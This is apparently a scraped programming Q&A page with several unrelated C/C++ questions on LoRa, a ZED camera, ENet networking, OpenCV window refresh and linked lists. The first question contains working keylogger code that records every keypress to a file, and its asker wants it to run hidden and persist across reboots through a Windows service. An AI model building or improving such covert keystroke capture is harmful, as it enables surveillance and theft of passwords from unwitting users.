Windows keypress event not working in an application when application is launched from windows service - windows-services

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int key, const char *file);
int main()
{
//FreeConsole();
char i;
while (true) {
Sleep(10);
for (i = 8; i <= 255; i++)
{
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
}
}
return 0;
}
int Save(int _key, const char* file) {
cout << "key => " << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
switch (_key)
{
case VK_SHIFT:
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
break;
case VK_RETURN:
fprintf(OUTPUT_FILE, "%s", "\n");
break;
case VK_BACK:
fprintf(OUTPUT_FILE, "%s", "[REMOVED_CHARACTER]");
break;
case VK_TAB:
fprintf(OUTPUT_FILE, "%s", "[TAB]");
break;
case VK_SPACE:
fprintf(OUTPUT_FILE, "%s", " ");
break;
case VK_CONTROL:
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
break;
default:
fprintf(OUTPUT_FILE, "%s", &_key);
break;
}
fclose(OUTPUT_FILE);
return 0;
}
What I want to achieve is run my .exe file in background and forever even if system restarts.
I have created similar functionality in node JS as well but the problem is when run the .exe file from windows service then keypress events stops working and nothing is getting logged when I run .exe file directly it works fine and keypress events work fine

Related

Esp32 LoRa lmic TTN not connecting

I am trying to get my ESP32 + RFM95C connected to The Things Network.
The Error I recieve is simple this:
24951: EV_JOINING
24970: EV_TXSTART
426696: EV_JOIN_TXCOMPLETE: no JoinAccept
And that repeats, Here is my setup code:
static const u1_t PROGMEM APPEUI[8]= { secret stuff here };
void os_getArtEui (u1_t* buf) { memcpy_P(buf, APPEUI, 8);}
// This should also be in little endian format, see above.
// static const u1_t PROGMEM DEVEUI[8]= { secret stuff here };
static const u1_t PROGMEM DEVEUI[8]= { secret stuff here };
void os_getDevEui (u1_t* buf) { memcpy_P(buf, DEVEUI, 8);}
// This key should be in big endian format (or, since it is not really a
// number but a block of memory, endianness does not really apply). In
// practice, a key taken from ttnctl can be copied as-is.
static const u1_t PROGMEM APPKEY[16] = { secret stuff here };
void os_getDevKey (u1_t* buf) { memcpy_P(buf, APPKEY, 16);}
static uint8_t mydata[] = "Hello, world!";
static osjob_t sendjob;
// Schedule TX every this many seconds (might become longer due to duty
// cycle limitations).
const unsigned TX_INTERVAL = 60;
// Pin mapping
const lmic_pinmap lmic_pins = {
.nss = 5,
.rxtx = LMIC_UNUSED_PIN,
.rst = 27,
.dio = {2, 26, 25},
};
void printHex2(unsigned v) {
v &= 0xff;
if (v < 16)
Serial.print('0');
Serial.print(v, HEX);
}
void onEvent (ev_t ev) {
Serial.print(os_getTime());
Serial.print(": ");
switch(ev) {
case EV_SCAN_TIMEOUT:
Serial.println(F("EV_SCAN_TIMEOUT"));
break;
case EV_BEACON_FOUND:
Serial.println(F("EV_BEACON_FOUND"));
break;
case EV_BEACON_MISSED:
Serial.println(F("EV_BEACON_MISSED"));
break;
case EV_BEACON_TRACKED:
Serial.println(F("EV_BEACON_TRACKED"));
break;
case EV_JOINING:
Serial.println(F("EV_JOINING"));
break;
case EV_JOINED:
Serial.println(F("EV_JOINED"));
{
u4_t netid = 0;
devaddr_t devaddr = 0;
u1_t nwkKey[16];
u1_t artKey[16];
LMIC_getSessionKeys(&netid, &devaddr, nwkKey, artKey);
Serial.print("netid: ");
Serial.println(netid, DEC);
Serial.print("devaddr: ");
Serial.println(devaddr, HEX);
Serial.print("AppSKey: ");
for (size_t i=0; i<sizeof(artKey); ++i) {
if (i != 0)
Serial.print("-");
printHex2(artKey[i]);
}
Serial.println("");
Serial.print("NwkSKey: ");
for (size_t i=0; i<sizeof(nwkKey); ++i) {
if (i != 0)
Serial.print("-");
printHex2(nwkKey[i]);
}
Serial.println();
}
// Disable link check validation (automatically enabled
// during join, but because slow data rates change max TX
// size, we don't use it in this example.
LMIC_setLinkCheckMode(0);
break;
/*
|| This event is defined but not used in the code. No
|| point in wasting codespace on it.
||
|| case EV_RFU1:
|| Serial.println(F("EV_RFU1"));
|| break;
*/
case EV_JOIN_FAILED:
Serial.println(F("EV_JOIN_FAILED"));
break;
case EV_REJOIN_FAILED:
Serial.println(F("EV_REJOIN_FAILED"));
break;
case EV_TXCOMPLETE:
Serial.println(F("EV_TXCOMPLETE (includes waiting for RX windows)"));
if (LMIC.txrxFlags & TXRX_ACK)
Serial.println(F("Received ack"));
if (LMIC.dataLen) {
Serial.print(F("Received "));
Serial.print(LMIC.dataLen);
Serial.println(F(" bytes of payload"));
//Now we sleep
esp_sleep_enable_timer_wakeup(TIME_TO_SLEEP * uS_TO_S_FACTOR);
esp_deep_sleep_start();
}
// Schedule next transmission
os_setTimedCallback(&sendjob, os_getTime()+sec2osticks(TX_INTERVAL), do_send);
break;
case EV_LOST_TSYNC:
Serial.println(F("EV_LOST_TSYNC"));
break;
case EV_RESET:
Serial.println(F("EV_RESET"));
break;
case EV_RXCOMPLETE:
// data received in ping slot
Serial.println(F("EV_RXCOMPLETE"));
break;
case EV_LINK_DEAD:
Serial.println(F("EV_LINK_DEAD"));
break;
case EV_LINK_ALIVE:
Serial.println(F("EV_LINK_ALIVE"));
break;
/*
|| This event is defined but not used in the code. No
|| point in wasting codespace on it.
||
|| case EV_SCAN_FOUND:
|| Serial.println(F("EV_SCAN_FOUND"));
|| break;
*/
case EV_TXSTART:
Serial.println(F("EV_TXSTART"));
break;
case EV_TXCANCELED:
Serial.println(F("EV_TXCANCELED"));
break;
case EV_RXSTART:
/* do not print anything -- it wrecks timing */
break;
case EV_JOIN_TXCOMPLETE:
Serial.println(F("EV_JOIN_TXCOMPLETE: no JoinAccept"));
break;
default:
Serial.print(F("Unknown event: "));
Serial.println((unsigned) ev);
break;
}
}
void do_send(osjob_t* j){
// Check if there is not a current TX/RX job running
if (LMIC.opmode & OP_TXRXPEND) {
Serial.println(F("OP_TXRXPEND, not sending"));
} else {
// Prepare upstream data transmission at the next possible time.
LMIC_setTxData2(1, mydata, sizeof(mydata)-1, 0);
Serial.println(F("Packet queued"));
}
// Next TX is scheduled after TX_COMPLETE event.
}
Nothing all that special, just boilerplate sketch code.
I have a Dragino LPS8 LoRaWan Gateway with these settings:
Does anyone know why my connection will not go through?
It has been a while, and I have learned a LOT more about LoRaWan since I originally posted this question. I now know that OTAA will not work with a single channel gateway such as the dragino I had shown in the pictures. A gateway such as https://www.adafruit.com/product/4345 (an 8 channel gateway) would have been a better place for me to start this project.

Access violation error on stereolabs

I'm writing a program to convert an image sensed with a StereoLabs ZED stereocamera to an OpenCV image, to do some processing, here is the code (including the setup part een if I don't know if the problem can be there):
#include "stdafx.h"
#include "sl/camera.hpp"
#include "opencv2/opencv.hpp"
using namespace std;
using namespace cv;
using namespace sl;
cv::Mat zed_to_ocv(sl::Mat zed_mat) {
int cv_type = -1;
switch (zed_mat.getDataType()) {
case MAT_TYPE_32F_C1: cv_type = CV_32FC1; break;
case MAT_TYPE_32F_C2: cv_type = CV_32FC2; break;
case MAT_TYPE_32F_C3: cv_type = CV_32FC3; break;
case MAT_TYPE_32F_C4: cv_type = CV_32FC4; break;
case MAT_TYPE_8U_C1: cv_type = CV_8UC1; break;
case MAT_TYPE_8U_C2: cv_type = CV_8UC2; break;
case MAT_TYPE_8U_C3: cv_type = CV_8UC3; break;
case MAT_TYPE_8U_C4: cv_type = CV_8UC4; break;
default: break;
}
return cv::Mat(zed_mat.getHeight(), zed_mat.getWidth(), cv_type, zed_mat.getPtr<sl::uchar1>(MEM_CPU));
}
int main(int argc, char **argv) {
InitParameters parameters;
parameters.depth_mode = DEPTH_MODE_PERFORMANCE;
parameters.coordinate_units = UNIT_METER;
parameters.camera_fps = 30;
if (argc > 1) {
parameters.svo_input_filename = argv[1];
}
sl::Camera zed;
ERROR_CODE err = zed.open(parameters);
if (err != SUCCESS) {
zed.close();
cout << "Error while opening ZED camera";
return -1;
}
RuntimeParameters runtime_parameters;
runtime_parameters.sensing_mode = SENSING_MODE_STANDARD;
Resolution image_size = zed.getResolution();
int new_width = image_size.width;
int new_height = image_size.height;
sl::Mat image_zed(new_width, new_height, MAT_TYPE_8U_C4);
cv::Mat image_ocv = zed_to_ocv(image_zed);
cv::Mat image(new_width, new_height, CV_8UC1);
while (true) {
if (zed.grab(runtime_parameters) == SUCCESS) {
zed.retrieveImage(image_zed, VIEW_LEFT, MEM_CPU, new_width, new_height);
cv::cvtColor(image_ocv, image, CV_BGRA2GRAY);
imshow("camera", image);
waitKey(30);
}
}
zed.close();
return 0;
}
This code works just fine, but if I wanted to use 32F matrices instead (changing the type of both image_zed and image) I get a
Exception in correspondence of 0x00007FF97D175400 (opencv_imgproc340d.dll) in projectCV.exe: 0xC0000005: access violation error reading 0x000002C52DC13040.
error. I tried changing to
getPtr<sl::float1>
inside zed_to_ocv, but the error is still there.
EDIT: Debugging I found out the crash happens at line
cv::cvtColor(image_ocv, image, CV_BGRA2GRAY);
but I still can't figure out why.
What is the problem here? Thanks.

ENet : Failed to connect to local server from iOS real device BUT do work when using desktop client

As i continue to check this great lib with iOS device which is iphone 5 iOS 8.3
I have strange ( or not ) connection error
When i try to connect the server which is running from my xCode . and Iphone app is running from xcode also .
The line :
if (enet_host_service(client, &event, 1000) > 0 && event.type == ENET_EVENT_TYPE_CONNECT)
Dosn't pass and jumps to :
enet_peer_reset(peer);
BUT when i run this code both from my desktop as simple client/server app , every thing is working just fine .
here is the code which i take from some internet site .
notice i set the HOST to be my Mac : echo $HOSTNAME.
Maybe this is the problem and the iPhone can't connect my Mac .. i dont know
how can i check this ?
Thanks
Here is the code :
Client desktop :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "enet/enet.h"
#define BUFFERSIZE 1024
#define PORT 9991
ENetAddress address;
ENetHost *server;
ENetEvent event;
ENetPacket *packet;
char buffer[BUFFERSIZE];
int main(int argc, char ** argv) {
int i;
if (enet_initialize() != 0) {
printf("Could not initialize enet.");
return 0;
}
address.host = ENET_HOST_ANY;
address.port = PORT;
server = enet_host_create(&address, 100, 2, 0, 0);
if (server == NULL) {
printf("Could not start server.\n");
return 0;
}
else
{
printf("Server Started host: %d on port:%d.\n",address.host, address.port);
}
while (1) {
while (enet_host_service(server, &event, 1000) > 0) {
switch (event.type) {
case ENET_EVENT_TYPE_CONNECT:
break;
case ENET_EVENT_TYPE_RECEIVE:
if (event.peer->data == NULL) {
event.peer->data =
malloc(strlen((char*) event.packet->data)+1);
strcpy((char*) event.peer->data, (char*)
event.packet->data);
sprintf(buffer, "%s has connected\n",
(char*) event.packet->data);
packet = enet_packet_create(buffer,
strlen(buffer)+1, 0);
enet_host_broadcast(server, 1, packet);
enet_host_flush(server);
} else {
for (i=0; i<server->peerCount; i++) {
if (&server->peers[i] != event.peer) {
sprintf(buffer, "%s: %s",
(char*) event.peer->data, (char*)
event.packet->data);
packet = enet_packet_create(buffer,
strlen(buffer)+1, 0);
enet_peer_send(&server->peers[i], 0,
packet);
enet_host_flush(server);
} else {
}
}
}
break;
case ENET_EVENT_TYPE_DISCONNECT:
sprintf(buffer, "%s has disconnected.", (char*)
event.peer->data);
packet = enet_packet_create(buffer, strlen(buffer)+1, 0);
enet_host_broadcast(server, 1, packet);
free(event.peer->data);
event.peer->data = NULL;
break;
default:
printf("Tick tock.\n");
break;
}
}
}
enet_host_destroy(server);
enet_deinitialize();
return 0;
}
Client Iphone device ( part of cpp game engine ) compiles fine .
char buffer[BUFFERSIZE];
ENetHost *client;
ENetAddress address;
ENetEvent event;
ENetPeer *peer;
ENetPacket *packet;
int connected=0;
if (enet_initialize() != 0) {
log("Could not initialize enet.\n");
return false;
}
client = enet_host_create(NULL, 1, 2, 5760/8, 1440/8);
if (client == NULL) {
log("Could not create client.\n");
return false;
}
enet_address_set_host(&address, HOST);
address.port = PORT;
peer = enet_host_connect(client, &address, 2, 0);
if (peer == NULL) {
log("Could not connect to server\n");
return false;
}
if (enet_host_service(client, &event, 1000) > 0 &&
event.type == ENET_EVENT_TYPE_CONNECT) {
log("Connection to %s succeeded.\n", HOST);
connected++;
strncpy(buffer, "Meiry Test", BUFFERSIZE);
packet = enet_packet_create(buffer, strlen(buffer)+1,
ENET_PACKET_FLAG_RELIABLE);
enet_peer_send(peer, 0, packet);
} else {
enet_peer_reset(peer);
log("Could not connect to %s.\n", HOST);
return false;
}
Server
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "enet/enet.h"
#define BUFFERSIZE 1024
#define PORT 9991
ENetAddress address;
ENetHost *server;
ENetEvent event;
ENetPacket *packet;
char buffer[BUFFERSIZE];
int main(int argc, char ** argv) {
int i;
if (enet_initialize() != 0) {
printf("Could not initialize enet.");
return 0;
}
address.host = ENET_HOST_ANY;
address.port = PORT;
server = enet_host_create(&address, 100, 2, 0, 0);
if (server == NULL) {
printf("Could not start server.\n");
return 0;
}
else
{
printf("Server Started host: %d on port:%d.\n",address.host, address.port);
}
while (1) {
while (enet_host_service(server, &event, 1000) > 0) {
switch (event.type) {
case ENET_EVENT_TYPE_CONNECT:
break;
case ENET_EVENT_TYPE_RECEIVE:
if (event.peer->data == NULL) {
event.peer->data =
malloc(strlen((char*) event.packet->data)+1);
strcpy((char*) event.peer->data, (char*)
event.packet->data);
sprintf(buffer, "%s has connected\n",
(char*) event.packet->data);
packet = enet_packet_create(buffer,
strlen(buffer)+1, 0);
enet_host_broadcast(server, 1, packet);
enet_host_flush(server);
} else {
for (i=0; i<server->peerCount; i++) {
if (&server->peers[i] != event.peer) {
sprintf(buffer, "%s: %s",
(char*) event.peer->data, (char*)
event.packet->data);
packet = enet_packet_create(buffer,
strlen(buffer)+1, 0);
enet_peer_send(&server->peers[i], 0,
packet);
enet_host_flush(server);
} else {
}
}
}
break;
case ENET_EVENT_TYPE_DISCONNECT:
sprintf(buffer, "%s has disconnected.", (char*)
event.peer->data);
packet = enet_packet_create(buffer, strlen(buffer)+1, 0);
enet_host_broadcast(server, 1, packet);
free(event.peer->data);
event.peer->data = NULL;
break;
default:
printf("Tick tock.\n");
break;
}
}
}
enet_host_destroy(server);
enet_deinitialize();
return 0;
}

Alternative to waitKey() for updating window in OpenCV

All examples and books I've seen so far recommends using waitKey(1) to force repaint OpenCV window. That looks weird and too hacky. Why wait for even 1ms when you don't have to?
Are there any alternatives? I tried cv::updateWindow but it seems to require OpenGL and therefore crashes. I'm using VC++ on Windows.
I looked in to source and as #Dan Masek said, there doesn't seem to be any other functions to process windows message. So I ended up writing my own little DoEvents() function for VC++. Below is the full source code that uses OpenCV to display video frame by frame while skipping desired number of frames.
#include <windows.h>
#include <iostream>
#include "opencv2/opencv.hpp"
using namespace cv;
using namespace std;
bool DoEvents();
int main(int argc, char *argv[])
{
VideoCapture cap(argv[1]);
if (!cap.isOpened())
return -1;
namedWindow("tree", CV_GUI_EXPANDED | CV_WINDOW_AUTOSIZE);
double frnb(cap.get(CV_CAP_PROP_FRAME_COUNT));
std::cout << "frame count = " << frnb << endl;
for (double fIdx = 0; fIdx < frnb; fIdx += 50) {
Mat frame;
cap.set(CV_CAP_PROP_POS_FRAMES, fIdx);
bool success = cap.read(frame);
if (!success) {
cout << "Cannot read frame " << endl;
break;
}
imshow("tree", frame);
if (!DoEvents())
return 0;
}
return 0;
}
bool DoEvents()
{
MSG msg;
BOOL result;
while (::PeekMessage(&msg, NULL, 0, 0, PM_NOREMOVE))
{
result = ::GetMessage(&msg, NULL, 0, 0);
if (result == 0) // WM_QUIT
{
::PostQuitMessage(msg.wParam);
return false;
}
else if (result == -1)
return true; //error occured
else
{
::TranslateMessage(&msg);
::DispatchMessage(&msg);
}
}
return true;
}

Using fgets and strtok to read in data and create linked list

Need some help with reading in lines of data from a text file using the fgets and string tokenization commands, which will then be used to create a linked list. I've followed some examples I've found on Stack Overflow and other tutorial websites, but still cannot get the read function below to work properly in my program, it just causes it to crash. The data file has lines like this:
Zucchini, Squash, pound, 2.19, 45
Yellow, Squash, pound, 1.79, 15
Based on everything I've read, I believe I have the necessary code, but obviously I'm missing something. Also, I commented out one of the fields (the one for float price) as I'm not sure what to use to copy the float value from the data, as I cannot treat it as a string (the integer value right below it seems to let me get away with it in my compiler).
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Struct for linked list node
struct produceItem
{
char produce[20];
char type[20];
char soldBy[20];
float price;
int quantityInStock;
struct produceItem *next;
};
// Function to read in data from file to
void read(struct produceItem **head)
{
struct produceItem *temp = NULL;
struct produceItem *right = NULL;
//char ch[3];
char line[50];
char *value;
FILE *data = fopen("RecitationFiveInput.txt", "r");
printf("Trying to open file RecitationFiveInput.txt\n");
if (data == NULL)
{
printf("Could not open file RecitationFiveInput.txt\n");
}
else
{
while(fgets(line, sizeof(line), data))
{
value = strtok(line, ", ");
strcpy(temp->produce, strdup(value));
value = strtok(NULL, ", ");
strcpy(temp->type, strdup(value));
value = strtok(NULL, ", ");
strcpy(temp->soldBy, strdup(value));
//value = strtok(NULL, ", ");
//strcpy(temp->price, strdup(value));
value = strtok(NULL, " \n");
strcpy(temp->quantityInStock, strdup(value));
temp->next = NULL;
if (*head == NULL)
{
*head = temp;
}
else
{
right = *head;
while(right->next != NULL)
{
right = right->next;
}
right->next = temp;
}
}
printf("Successfully opened file RecitationFiveInput.txt\n");
}
fclose(data);
return;
}
// Function to display the nodes of the linked list that contains the data from the data file
void display(struct produceItem *head)
{
int value = 1;
struct produceItem *temp = NULL;
temp = head;
printf("=============================================================================\n");
printf(" Item # Produce Type Sold By Price In Stock\n");
printf("=============================================================================\n");
if(temp == NULL)
{
return;
}
else
{
while(temp != NULL)
{
printf(" %d %s %s %s %lf %d\n", value, temp->produce, temp->type, temp->soldBy, temp->price, temp->quantityInStock);
value++;
temp = temp->next;
if(temp == NULL)
{
break;
}
}
}
return;
}
//Main function
int main()
{
int input = 0;
struct produceItem *head = NULL;
while(1)
{
printf("\nList Operations\n");
printf("=================\n");
printf("1. Stock Produce Department\n");
printf("2. Display Produce Inventory\n");
printf("3. Reverse Order of Produce Inventory\n");
printf("4. Export Produce Inventory\n");
printf("5. Exit Program\n");
printf("Enter your choice: ");
if(scanf("%d", &input) <= 0)
{
printf("Enter only an integer.\n");
exit(0);
}
else
{
switch(input)
{
case 1:
read(&head);
break;
case 2:
display(head);
break;
case 3:
//function
break;
case 4:
//function
break;
case 5:
printf("You have exited the program, Goodbye!\n");
return 0;
break;
default:
printf("Invalid option.\n");
}
}
}
return 0;
}
Never mind everyone, found the issue. The crashes were due to me not allocating memory for the temp pointer in the read me function.

Resources